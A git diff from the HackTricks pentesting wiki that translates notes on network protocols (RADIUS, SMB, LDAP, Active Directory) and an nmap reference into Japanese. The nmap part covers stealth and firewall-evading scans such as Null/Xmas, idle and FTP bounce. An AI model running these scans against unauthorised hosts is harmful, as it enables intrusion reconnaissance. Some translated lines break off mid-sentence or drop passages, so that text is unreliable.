+SSDPは、[HTTPU](https://en.wikipedia.org/wiki/HTTPU)に基づいたテキストベースのプロトコルです。UDPを基にしたトランスポートプロトコルとして使用されます。サービスは、ホストシステムによってマルチキャストアドレッシングを使用して広告され、UDPポート番号1900で特定のIPマルチキャストアドレスに対して送信されます。IPv4では、マルチキャストアドレスは239.255.255.250です。 # WSD -**Web Service for Devices**. -This service allow the a device connected in a network to discover which services \(like printers\) are available in the network. +**Web Service for Devices**(デバイス向けWebサービス)。 +このサービスは、ネットワークに接続されたデバイスがネットワーク内で利用可能なサービス(プリンターなど)を検出することを可能にします。 -The client can send a broadcast UDP packet asking for some kind of service or the service provider can send a broadcast packet saying that it is offering a service. +クライアントは、特定の種類のサービスを要求するためにブロードキャストUDPパケットを送信することができます。また、サービスプロバイダーは、サービスを提供していることを示すブロードキャストパケットを送信することもできます。 # OAuth2.0 - Procolo que permite compartir tu información por ejemplo de google con otros servicios. +OAuth2.0は、たとえばGoogleの情報を他のサービスと共有するためのプロトコルです。 -Básicamente **permite compartir la información justa** y necesaria que se tiene guardado en un servicio, con otro. De esta forma se puede logear más rápido y tus **datos están tan solo guardados en un sitio** y no hay que poner usernames/contraseñas en todos lados. +基本的には、サービスに保存されている必要な情報を適切に共有することができます。これにより、より迅速にログインでき、データは1つの場所にのみ保存されるため、ユーザー名/パスワードをすべての場所に入力する必要はありません。 -Esto funciona así: +動作は次のようになります: -Primero tienes que estar ya logeado en google o se te abrirá una ventana para que te logees. Acto seguido, el servicio pedirá al servidor de google un token para acceder a tu info. Google soltará una de esas pantalla de “_La aplicación XXXXX quiere acceder a esta información tuya: ..._” al darle a aceptar, google responderá a la aplicación con un código el cuál pa aplicación usará para pedirle un token con el que google responderá. Una vez la aplicación tenga un token la puede usar con el API de google para obtener la información que había pedido. +まず、Googleにすでにログインしているか、ログインするためのウィンドウが表示されます。その後、サービスはGoogleサーバーに情報にアクセスするためのトークンを要求します。Googleは「_アプリケーションXXXXXがこの情報にアクセスすることを要求しています:..._」という画面を表示し、承認すると、Googleはアプリケーションに対して応答するためのコードを返します。アプリケーションがトークンを取得するために使用することができます。トークンを取得したアプリケーションは、GoogleのAPIを使用して要求した情報を取得することができます。 # RADIUS - Protocolo de autenticación y autorización para acceder a una red. \(Usa puerto 1813 UDP\) +ネットワークへのアクセスの認証と承認のためのプロトコルです(UDPポート1813を使用します)。 -Se usa principalmente por proveedores de servicios de internet para gestionar el acceso a la red de sus clientes. +主にインターネットサービスプロバイダが顧客のネットワークアクセスを管理するために使用します。 -Permite Autenticación, Autorización y Anotación. +認証、承認、および記録を可能にします。 -Cómo funciona: +動作は次のようになります: -El usuario primero habla con el NAS \(puerta den entrada al servidor\), este comprueba que el nombre y contraseña que se le envía sean válidos preguntándoselo al servidor RADIUS. +ユーザーはまずNAS(サーバーへの入り口)と話し、送信された名前とパスワードが有効かどうかをRADIUSサーバーに問い合わせます。 -Opcionalmente por mayor seguridad se puede comprobar la dirección de red o nº de teléfono del servidor para ver si coincide. +オプションとして、より安全性を確保するために、サーバーのネットワークアドレスや +# SMBとNetBIOS -Tanto el servidor RADIUS como el usuario que intenta conectarse tienen un “secreto compartido“, de esta forma el servidor RADIUS envía un desafío al NAS que reenvía al usuario que se está logeando, este lo encripta con dicho secreto y se lo reenvía y si coincide con el cifrado que ha hecho el RADIUS, el usuario ha demostrado su identidad. +## **SMB** -Una vez se demuestra la identidad, el usuario RADIUS instruye al NAS para que este le asigne al usuario una dirección IP. Así mismo, cuando esto es realizado, el NAS envía una mensaje de inicio al RADIUS para que este lo anote. Cuando el usuario cierra la sesión el NAS envía un mensaje de finalización. De esta forma el RADIUS anota el consumo de la sesión para poder facturar en consecuencia \(también se usan estos datos con motivos estadísticos\) +ファイル/プリンタ/ポートの共有に使用されるプロトコルです。 -# SMB and NetBIOS +これはTCP上で直接実行することができます。ポート445(Windowsスキャンでmicrosoft-dsと呼ばれることがわかります)。 -## **SMB** +または、UDP 137、138またはTCP 137、138を使用するNetBIOS over TCP(netbios-ssnと呼ばれる)。 -Es un protocolo para compartir archivos/impresoras/puertos... - -Este puede correr directamente sobre TCP en el puerto 445 \(que si haces un escaneo de windows ves que lo llama microsoft-ds\) - -O sobre UDP 137, 138 o TCP 137, 138 que usa NetBIOS sobre TCP \( llamado netbios -ssn\) - -El objetivo de que SMB esté implementado sobre solo TCP o sobre NetBIOS + TCP es aumentar la capacidad de comunicación con más equipos que solo soportan uno u otro +SMBがTCPのみで実装されるか、NetBIOS + TCP上で実装される目的は、単一のプロトコルのみをサポートする他のコンピュータとの通信能力を向上させることです。 ## **NetBIOS** -Su función es la de establecer sesiones y mantener las conexiones para poder compartir recursos en red, pero para enviar paquetes de un sitio a otro requiere de IPC/IPX o NetBEUI o TCP/IP. +ネットワーク上でリソースを共有するためにセッションを確立し、接続を維持する役割を果たしますが、パケットを送信するためにはIPC/IPX、NetBEUI、またはTCP/IPが必要です。 -Cada máquina usando NetBIOS debe tener un **nombre** único que la distinga del resto. Así que cuando entra una nueva máquina, primero se revisa que nadie use el nombre que solicita usar. también existen los **nombres de grupo** que pueden usar todas las estaciones que quieran pero no pueden haber dos grupos con el mismo nombre. Es una forma de poder enviar mensajes a varias máquinas. Por lo que se pueden enviar mensajes a un usuario, a un grupo o broadcast. +NetBIOSを使用する各マシンは、他と区別するための一意の**名前**を持つ必要があります。したがって、新しいマシンが入ると、まず使用する名前が誰も使用していないかどうかを確認します。また、複数のマシンにメッセージを送信するために使用できる**グループ名**も存在しますが、同じ名前の2つのグループは存在できません。これは複数のマシンにメッセージを送信するための方法です。したがって、ユーザー、グループ、ブロードキャストにメッセージを送信することができます。 -La conexión puede ser connectionless o connection-oriented: +接続は、接続型または非接続型である場合があります: - **connectionless:** Se envía un datagrama al destino pero no hay ninguna forma de saludo ni de mensaje de recibido. La máquina destino debe estar configurada para poder recibir datagramas. +**非接続型:**宛先にデータグラムが送信されますが、挨拶や受信確認メッセージはありません。宛先マシンはデータグラムを受信できるように設定されている必要があります。 - **connection-orineted:** Se crea una sesión entre dos nombres \(puede ser incluso entre dos nombres de la misma máquina\) sí se envía mensaje de recibido o error. +**接続型:**2つの名前の間にセッションが作成されます(同じマシンの2つの名前でもかまいません)。受信確認メッセージやエラーメッセージが送信されます。 -**NetBEUI** consiste realmente en NetBIOS sobre NetBEUI el cual es un protocolo de red y transporte que lleva a NetBIOS, este era rápido pero muy ruidoso pues emitía muchos broadcast, también se puede tener SMB sobre NetBEUI pero ya es más normal que NetBIOS corra sobre TCP. +**NetBEUI**は、実際にはNetBIOS over NetBEUIであり、NetBIOSを実装するためのネットワークおよびトランスポートプロトコルです。これは高速ですが、多くのブロードキャストを発行するためにノイズが多いです。また、NetBEUI上でSMBを持つこともできますが、NetBIOSがTCP上で実行されることが一般的です。 # LDAP - Protocolo que permite administrar directorios y acceder a bases de información de usuarios mediante TCP/IP. +TCP/IPを介してディレクトリを管理し、ユーザーの情報をアクセスするためのプロトコルです。 -Permite tanto sacar información como introduirla mediante distintos comandos. +さまざまなコマンドを使用して情報を取得および入力することができます。 -Por lo tanto es un protocolo que sirve para acceder a diversas bases de datos que están preparadas para hablar este protocolo +したがって、このプロトコルを話す準備ができたさまざまなデータベースにアクセスするためのプロトコルです。 # Active Directory -Básicamente es una base de datos de objetos con información como usuarios, grupos, privilegios y recursos que es accesible desde la red \(a traves de un dominio\) para que se pueda acceder a dicha información y se pueda manejar de forma centralizada. +基本的には、ユーザー、グループ、特権、リソースなどの情報を持つオブジェクトのデータベースであり、ネットワークからアクセス可能です(ドメインを介して)。この情報にアクセスし、集中的に管理するためにネットワーク上で利用できます。 -Servidor que guarda objetos. Estos objetos son visibles en la red mediante un dominio. Un dominio puede tener dentro de él su servidor donde está implementado, grupos, usuarios... +オブジェクトを保存するサーバーです。これらのオブジェクトは、ドメインを介してネットワーク上で表示されます。ドメインには、実装されているサーバー、グループ、ユーザーなどが含まれることができます。 -También puede tener subdominios que tengan su propio servidor asociado con sus grupos, usuarios... - -De esta forma se centraliza la gestión de usuarios de una red pues se pueden generar en este servidor los usuarios que se pueden logear, con los permisos que tienen para saber si pueden acceder a determinados recursos de la red y así se puede controlar todo esto de una forma sencilla. - -De esta forma se puede consultar el directorio con un nombre de usuario y obtener info como correo o nº de telefono. También se puedenhacer consultas generalizadas como:¿donde estan las impresoras? ¿Cuáles son los nombres de los dominios? +また、ドメインには、それぞれに関連付けられたサーバー、グループ、ユーザーを持つサブドメインも含めることができます。 +これにより、ネットワークのユーザー管理が集中化され、このサーバーでログインできるユーザーを生成し、ネットワークの特定のリソースにアクセスできるかどうかの権限を持つユーザーを知ることができます。これにより、これらすべてを簡単に制御できます。 +したがって、ユーザー名でディレクトリを検索し、メールアドレスや電話番号などの情報を取得することができます。また、次のような一般的なクエリを実行することもできます:プリンターはどこにありますか?ドメインの名前は何ですか?
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたりしたいですか? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
- - diff --git a/generic-methodologies-and-resources/pentesting-network/nmap-summary-esp.md b/generic-methodologies-and-resources/pentesting-network/nmap-summary-esp.md index a69b42f3f..fe8dd9115 100644 --- a/generic-methodologies-and-resources/pentesting-network/nmap-summary-esp.md +++ b/generic-methodologies-and-resources/pentesting-network/nmap-summary-esp.md @@ -1,129 +1,115 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - ```text nmap -sV -sC -O -n -oA nmapscan 192.168.0.1/24 ``` +**-iL** リスト\_IPs - **-iL** lista\_IPs +**-iR** 数字 --> ランダムなIPアドレスの数。**--exclude <Ips>** または **--excludefile <fichero>** で除外するIPアドレスを指定できる。 -**-iR** numero --> Número de Ips aleatorias, se pueden excluir posibles Ips con **--exclude <Ips>** o **--excludefile <fichero>** +**ホストの発見:** -**Descubrimiento de equipos:** +/24 マスクを使用できる -Podemos usar máscaras/24 +**-sL**: 非侵入的で、DNSリクエストを送信して名前を解決することで、対象のリストを表示する。例えば、www.prueba.es/24 のすべてのIPアドレスが対象であるかどうかを確認するために使用できる。 -**-sL**: No es invasivo, lista los objetivos realizando peticiones de DNS para resolver nombres. Sirve para saber si por ejemplo www.prueba.es/24 todas las Ips son objetivos nuestros. +デフォルトでは、Nmapは以下の発見フェーズを実行する: -PA80 -PS443 -PE -PP -Por defecto Nmap lanza una fase de descubrimiento que consta de: -PA80 -PS443 -PE -PP +**-Pn** ピン応答なし --> **すべてがアクティブであることがわかっている場合に便利**(そうでない場合、時間の浪費になる可能性があるが、このオプションはアクティブでないと誤ったネガティブな結果を返すことがある)、発見フェーズをスキップする -**-Pn** No ping --> útil **si se sabe que todos están activos** \(sino lo estuviera alguno se podría perder mucho tiempo, pero también saca falsos negativos esta opción diciendo que no esta activo\), impide la fase de descubirmiento +**-sn** ポートスキャンなし: レコネサンスフェーズの後に**ポートをスキャンしない**。比較的ステルス性が高く、ネットワークの軽微なリコネサンスが可能。特権を持つ場合、80にACK \(-PA\)、443にSYN \(-PS\)、エコーリクエストとタイムスタンプリクエストを送信し、特権を持たない場合は常に完全な接続を行う。ターゲットがネットワーク内の場合、ARP \(-PR\) のみを使用する。他のオプションと組み合わせて使用する場合、他のオプションのパケットのみが送信される。 -**-sn** No port scan: Tras completar fase de reconocimiento **no analiza puertos.** Es relativamente sigilosa, y permite un pequeño reconocimiento de la red. Con privilegios envía un ACK \(-PA\) al 80, un SYN\(-PS\) al 443 y un echo request y un Timestamp request, sin privilegios siempre completa conexiones. Si el objetivo es de la red, solo usa ARP\(-PR\). Si se usa con otra opción solo se lanzan los paquetes de la otra opción. +**-PR** ARP Ping: ネットワーク内のホストをスキャンする場合にデフォルトで使用される。pingよりも高速。ARPパケットを使用しない場合は、--send-ipを使用する必要がある。 -**-PR** Ping ARP: Se usa por defecto cuando se analizan equipos de nuestra red, es más rápido que usar pings. Si no se quiere usar paquetes ARP hay que usar --send-ip. +**-PS<ports>** SYN: SYNパケットを送信し、SYN/ACKで応答があればオープン(接続を終了しないようにRSTを送信)、RSTで応答があればクローズ、応答がなければ到達不能。特権がない場合は自動的に完全な接続が使用される。ポートが指定されていない場合、デフォルトで80に送信される。 -**-PS<puertos>** SYN: envía paquetes de SYN a los que si responde SYN/ACK es que esta abierto\(al que se reponde con RST para no acabar la conexión\), si responde RST esta cerrado y si no responde es inalcanzable. En caso de no tener privilegios automáticamente se usa una conexión total. Si no se dan puertos, lo lanza al 80. +**-PA<ports>** ACK: 前述のものと同様だが、ACKを使用する。両方を組み合わせることでより良い結果が得られる。 -**-PA<puertos>** ACK: Como la anterior pero con ACK, combinando ambas se obtienen mejores resultados. +**-PU<ports>** UDP: 逆の目的で使用され、クローズされていると予想されるポートに送信される。一部のファイアウォールはTCP接続のみをチェックする。クローズされている場合はポート不可到達応答が返され、他のICMP応答が返されるか応答がない場合は到達不能として扱われる。 -**-PU<puertos>** UDP: El objetivo es el contrario, se envían a puertos que se espera que estén cerrados. Algunos firewall solo revisan conexiones TCP. Si está cerrado se responde con port unreachable, si se responde con otro icmp o no se responde se deja como destino inalcanzable. +**-PE, -PP, -PM** ICMP PING: ターゲットがアクティブかどうかを確認するために送信される。echo replay、timestamp、addresmaskのPINGが送信される。 -**-PE, -PP, -PM** PINGS ICMP:echo replay, timestamp y addresmask. Se lanzan para descubrir si el objetivo esta activo +**-PY<ports>** SCTP: デフォルトでは80にSCTP INITパケットを送信し、INIT-ACK(オープン)またはABORT(クローズ)または何も応答しないかICMP到達不能(非アクティブ)で応答する。 -**-PY<puertos>** SCTP: Envía sondas SCTP INIT al 80 por defecto, se puede responder INIT-ACK\(abierto\) o ABORT\(cerrado\) o nada o ICMP inalcanzable\(inactivo\) +-**PO<protocols>:** ヘッダにプロトコルを指定する。デフォルトでは1(ICMP)、2(IGMP)、4(Encap IP)が使用される。ICMP、IGMP、TCP(6)およびUDP(17)の場合、プロトコルのヘッダが送信され、それ以外の場合はIPヘッダのみが送信される。これにより、ヘッダの不正な形式によって、到達不能なプロトコルまたは同じプロトコルの応答が返されることで、ターゲットが起動しているかどうかを確認できる。 --**PO<protocolos>:** Se indica un protocolo en las cabeceras, por defecto 1\(ICMP\), 2\(IGMP\) y 4\(Encap IP\). Para los protocolos ICMP, IGMP, TCP \(6\) Y UDP \(17\) se envían las cabeceras del protocolo, para el resto solo se envía la cabecera IP. EL objetivo de esto es que por la malformación de las cabeceras, se responda Protocolo inalcanzable o respuestas del mismo protocolo para saber si está levantado. +**-n** DNSなし -**-n** No DNS +**-R** 常にDNS -**-R** DNS siempre +**ポートスキャンのテクニック:** -**Técnicas de escaneo de puertos:** +**-sS** --> 接続を完了しないため、トレースが残らない。使用できる場合は非常に良い。 \(特権が必要\) デフォルトで使用される。 -**-sS** --> No completa la conexión por lo que no deja rastro, muy buena si se puede usar. \(privilegios\) Es la que se usa por defecto +**-sT** --> 接続を完了するため、トレースが残るが、使用できる。特権なしの場合はデフォルトで使用される。 -**-sT** --> Completa la conexión, por lo que sí que deja rastro, pero seguro que se puede usar. Por defecto sin privilegios. +**-sU** --> より遅い、UDP用。主に: DNS(53)、SNMP(161,162)、DHCP(67,68)、\(-sU53,161,162,67,68\): オープン(応答)、クローズ(ポート不可到達)、フィルタリング(他のICMP)、オープン/フィルタリング(なし)。オープン/フィルタリングの場合、-sVはnmapがサポートするバージョンのいずれかを検出するために多数のリクエストを送信し、実際の状態を検出できる。時間がかかる。 -**-sU** --> Más lenta, para UDP. Ppalmente: DNS\(53\), SNMP\(161,162\), DHCP\(67 y 68\), \(-sU53,161,162,67,68\): abierto\(respuesta\), cerrado\(puerto inalcanzable\), filtrado \(otro ICMP\), abierto/filtrado \(nada\). En caso de tener abierto/filtrado, -sV envía numerosas peticiones para detectar alguna de las versiones que nmap soporta pudiendo detectar el auténtico estado. Aumenta mucho el tiempo. +**-sY** --> SCTPプロトコルは接続を確立しないため、レコードが残らない。-PYと同様に機能する。 -**-sY** --> Protocolo SCTP no llega a establecer la conexión, por lo que no hay registros, funciona como -PY +**-sN,-sX,-sF** --> Null、Fin、Xmas、いくつかのファイアウォールをバイパスして情報を取得できる。これらは、標準に準拠しているホストは、SYN、RST、ACKのフラグを持たないリクエストに対してすべてRSTで応答するという前提に基づいている: オープン/フィルタリング(なし)、クローズ(RST)、フィルタリング(ICMP不可到達)。Windows、Cisco、BSDI、OS/400では信頼性がないが、Unixでは信頼性がある。 -**-sN,-sX,-sF** --> Null, Fin, Xmas, sirven pueden penetrar algunos firewall y sacar información. Se basan en que los equipos que cumplan el estándar deberán responder con RST todas las peticiones que no tengan levantadas los lags de SYN, RST o ACK: abierto/filtrado\(nada\), cerrados\(RST\), filtrado \(ICMP inalcanzable\). No fiable en WIndows, CIsco, BSDI y OS/400. En unix sí. +**-sM Maimon scan:** FINとACKフラグを送信し、BSDに使用されるが、現在はすべてクローズとして返される。 -**-sM Maimon scan:** Envía flags FIN y ACK, usado para BSD, actualmente devolverá todo como cerrado. +**-sA, sW** --> ACKとWindow、ファイアウォールを検出するために使用され、ポートがフィルタリングされているかどうかを確認する。-sWはオープン/クローズを区別することができる。オープンは異なるウィンドウ値でRSTで応答する: オープン(ウィンドウが0でないRST)、クローズ(ウィンドウが0のRST)、フィルタリング(ICMP不可到達またはなし)。すべてのホストがこのように機能するわけではないため、すべてがクローズされている場合は機能しないことを意味し、いくつかのオープンと少数のクローズが表示される場合は正常に機能していることを意味し、多 +**-b<server>** FTPhost--> 他のホストからホストをスキャンするために使用されます。これは、他のマシンのFTPに接続し、他のマシンのスキャンしたいポートにファイルを送信するように要求することで行われます。応答に基づいて、ポートが開いているかどうかを確認できます。\[<username>:<password>@\]<server>\[:<port>\] ほとんどのFTPサーバーではこれを許可しなくなっており、実用的な価値がほとんどありません。 -**-sA, sW** --> ACK y Window, sirve para detectar firewalls, para saber si los puertos están filtrados o no. El -sW sí distingue entre abiertos/cerrados ya que los abiertos responden con un valor de window distinto: abiertos\(RST con ventana distinto de 0\), cerrado \(RST ventana = 0\), filtrado \(ICMP inalcanzable o nada\). No todos los equipos funcionan así, así que si sale todo cerrado, es que no funciona, si salen unos pocos abiertos es que funciona bien, y si salen muchos abiertos y pocos cerrados, es que funciona al revés. +**スキャンの中心化:** -**-sI Idle scan** --> Para los casos en los que hay un firewall activo pero que sabemos que este no filtra a una determinada Ip \(o cuando queremos simplemente anonimato\) podemos usar el escáner zombie \(sirve para todos los puertos\), para buscar posibles zombies podemos usar el scrpit ipidseq o el exploit auxiliary/scanner/ip/ipidseq. Este escaner se basa en el número IPID de los paquetes IP +**-p:** スキャンするポートを指定するために使用されます。65335を選択するには、**-p-**または**-p all**を使用します。 Nmapには、人気に基づいて内部的に分類されたポートがあります。デフォルトでは、主要な1000ポートを使用します。**-F**(高速スキャン)では、主要な100ポートを分析します。**--top-ports <number>**では、指定した数の主要なポート(1から65335まで)を分析します。ポートをランダムな順序でチェックするためには、**-r**を使用します。また、ポートを選択することもできます:20-30,80,443,1024- これは1024以降をチェックすることを意味します。また、プロトコルごとにポートをグループ化することもできます:U:53,T:21-25,80,139,S:9。また、nmapの人気のあるポートの範囲内で範囲を選択することもできます:-p \[-1024\]は、nmap-servicesに含まれるポートのうち1024までを分析します。**--port-ratio <ratio>**は、0から1の間の比率で最も一般的なポートを分析します。 -**--badsum -->** Envían la suma mal, los equipos descartarían los paquetes, pero los firewall podrían responder algo, sirve para detectar firewalls +**-sV** バージョンスキャン、強度を0から9まで調整できます。デフォルトは7です。 -**-sZ** --> Escaner “raro” de SCTP, al enviar sondas con fragmentos cookie echo deben ser eliminadas si esta abierto o respondidas con ABORT si cerrado. Puede traspasar firewalls que no traspasa el init, lo malo es que no distingue entre filtrado y abierto. +**--version-intensity <number>** 強度を調整します。より低い値では、最も可能性の高いプローブのみが送信されますが、すべてが送信されません。これにより、UDPスキャンの時間を大幅に短縮できます。 -**-sO** --> Protocol Ip scan: Envía cabeceras mal y vacías en las que a veces no se distingue ni el protocolo. Si llega ICMP unreachable protocol esta cerrado, si llega unreachable port esta abierto, si llega otro error, filtrado, si no llega nada, abierto\|filtrado +**-O** OSの検出 -**-b<servidor>** FTPhost--> Sirve para escanear un host desde otro, eso lo hace conectándose el ftp de otra máquina y pidiendole que envía archivos a los puertos que se quiera escanear de otra máquina, según las respuestas sabremos si están abiertos o no. \[<usuario>:<contraseña>@\]<servidor>\[:<puerto>\] Casi todos los servidores ftps ya no dejan hacer esto y por lo tanto ya tiene poca utilidad práctica, +**--osscan-limit** ホストを正しくスキャンするには、少なくとも1つのポートが開いていて、もう1つが閉じている必要があります。この条件が満たされない場合、このオプションが設定されている場合、OSの予測を試みません(時間を節約します)。 -**Centrar análisis:** +**--osscan-guess** OSの検出が完璧でない場合、これによりより詳細な検出が行われます。 -**-p:** Sirve para dar los puertos a escanear. Para seleccionar los 65335: **-p-** o **-p all**. Nmap tiene una clasificaación interna según su popularidad. Por defecto usa los 1000 ppales. Con **-F** \(fast scan\) analiza los 100 ppales. Con **--top-ports <numero>** Analiza ese numero de ppales \(de 1 hasta los 65335\). Comprueba los puertos en orden aleatorio, para que eso no pase **-r**. También podemos seleccionar puertos: 20-30,80,443,1024- Esto ultimo significa que mire en adelante del 1024. También podemos agrupar los puertos por protocolos: U:53,T:21-25,80,139,S:9. También podemos escoger un rango dentro de los puertos populares de nmap: -p \[-1024\] analiza hasta el 1024 de los incluidos en nmap-services. **--port-ratio <ratio>** Analiza los puertos más comúnes que un ratio que debe estar entre 0 y 1 - -**-sV** Escaneado de versión, se puede regular la intensidad de 0 a 9, por defecto 7. - -**--version-intensity <numero>** Regulamos la intensidad, de forma que cuanto más bajo solo lanzará las sondas más probables, pero no todas. Con esto podemos acortar considerablemente el tiempo de escaneo UDP - -**-O** Deteccion de os - -**--osscan-limit** Para escanear bien un host se necesita que al menos haya 1 puerto abierto y otro cerrado, si no se da esta condición y hemos puesto esto, no intenta hacer predicción de os \(ahorra tiempo\) - -**--osscan-guess** Cuando la detección de os no es perfecta esto hace que se esfuerce más - -**Scripts** +**スクリプト** --script _<filename>_\|_<category>_\|_<directory>_\|_<expression>_\[,...\] -Para usar los de por efecto vale con -sC o --script=default +デフォルトのスクリプトを使用するには、-sCまたは--script=defaultを使用します。 -Los tipos que hay son de: auth, broadcast, default, discovery, dos, exploit, external, fuzzer, intrusive, malware, safe, version, and vuln +利用可能なタイプは、auth、broadcast、default、discovery、dos、exploit、external、fuzzer、intrusive、malware、safe、version、およびvulnです。 -* **Auth:** ejecuta todos sus _scripts_ disponibles para autenticación -* **Default:** ejecuta los _scripts_ básicos por defecto de la herramienta -* **Discovery:** recupera información del _target_ o víctima -* **External:** _script_ para utilizar recursos externos -* **Intrusive:** utiliza _scripts_ que son considerados intrusivos para la víctima o _target_ -* **Malware:** revisa si hay conexiones abiertas por códigos maliciosos o _backdoors_ \(puertas traseras\) -* **Safe:** ejecuta _scripts_ que no son intrusivos -* **Vuln:** descubre las vulnerabilidades más conocidas -* **All:** ejecuta absolutamente todos los _scripts_ con extensión NSE disponibles +* **Auth:** 利用可能なすべての認証スクリプトを実行します。 +* **Default:** ツールのデフォルトの基本スクリプトを実行します。 +* **Discovery:** ターゲットまたは被害者から情報を取得します。 +* **External:** 外部リソースを使用するスクリプトです。 +* **Intrusive:** 被害者またはターゲットに対して侵入的とされるスクリプトを使用します。 +* **Malware:** 悪意のあるコードやバックドアによるオープンな接続をチェックします。 +* **Safe:** 侵入的でないスクリプトを実行します。 +* **Vuln:** 最も一般的な脆弱性を特定します。 +* **All:** 使用可能なすべてのNSE拡張子を持つスクリプトを実行します。 -Para buscar scripts: +スクリプトを検索するには: - **nmap --script-help="http-\*" -> Los que empiecen por http-** +**nmap --script-help="http-\*" -> "http-"で始まるもの** - **nmap --script-help="not intrusive" -> Todos menos esos** +**nmap --script-help="not intrusive" -> それ以外のすべて** - **nmap --script-help="default or safe" -> Los que estan en uno o en otro o en ambos** +**nmap --script-help="default or safe" -> どちらかまたは両方にあるもの** - **nmap --script-help="default and safe" --> Los que estan en ambos** +**nmap --script-help="default and safe" --> 両方にあるもの** - **nmap --script-help="\(default or safe or intrusive\) and not http-\*"** +**nmap --script-help="\(default or safe or intrusive\) and not http-\*"** --script-args _<n1>_=_<v1>_,_<n2>_={_<n3>_=_<v3>_},_<n4>_={_<v4>_,_<v5>_} @@ -131,156 +117,29 @@ Para buscar scripts: --script-help _<filename>_\|_<category>_\|_<directory>_\|_<expression>_\|all\[,...\] ---script-trace ---> Da info de como va elscript +--script-trace ---> スクリプトの進行状況に関する情報を表示します --script-updatedb -**Para usar un script solo hay que poner: namp --script Nombre\_del\_script objetivo** --> Al poner el script se ejecutará tanto el script como el escaner, asi que tambien se pueden poner opciones del escaner, podemos añadir **“safe=1”** para que se ejecuten solo los que sean seguros. +**スクリプトを使用するには、単に次のように入力します:namp --script Script\_Name target** --> スクリプトを指定すると、スクリプトとスキャナーの両方が実行されるため、スキャナーのオプションも指定できます。安全なスクリプトのみを実行するには、**"safe=1"**を追加できます。 -**Control tiempo** +**時間制御** -**Nmap puede modificar el tiempo en segundos, minutos, ms:** --host-timeout arguments 900000ms, 900, 900s, and 15m all do the same thing. +**Nmapは、秒、分、ミリ秒単位で時間を変更できます:--host-timeout arguments 900000ms, 900, 900s, and 15m all do the same thing.** -Nmap divide el numero total de host a escanear en grupos y analiza esos grupos en bloques de forma que hasta que no han sido analizados todos, no pasa al siguiente bloque \(y el usuario tampoco recibe ninguna actualización hasta que se haya analizado el bloque\) de esta forma, es más óptimo para nmap usar grupos grandes. 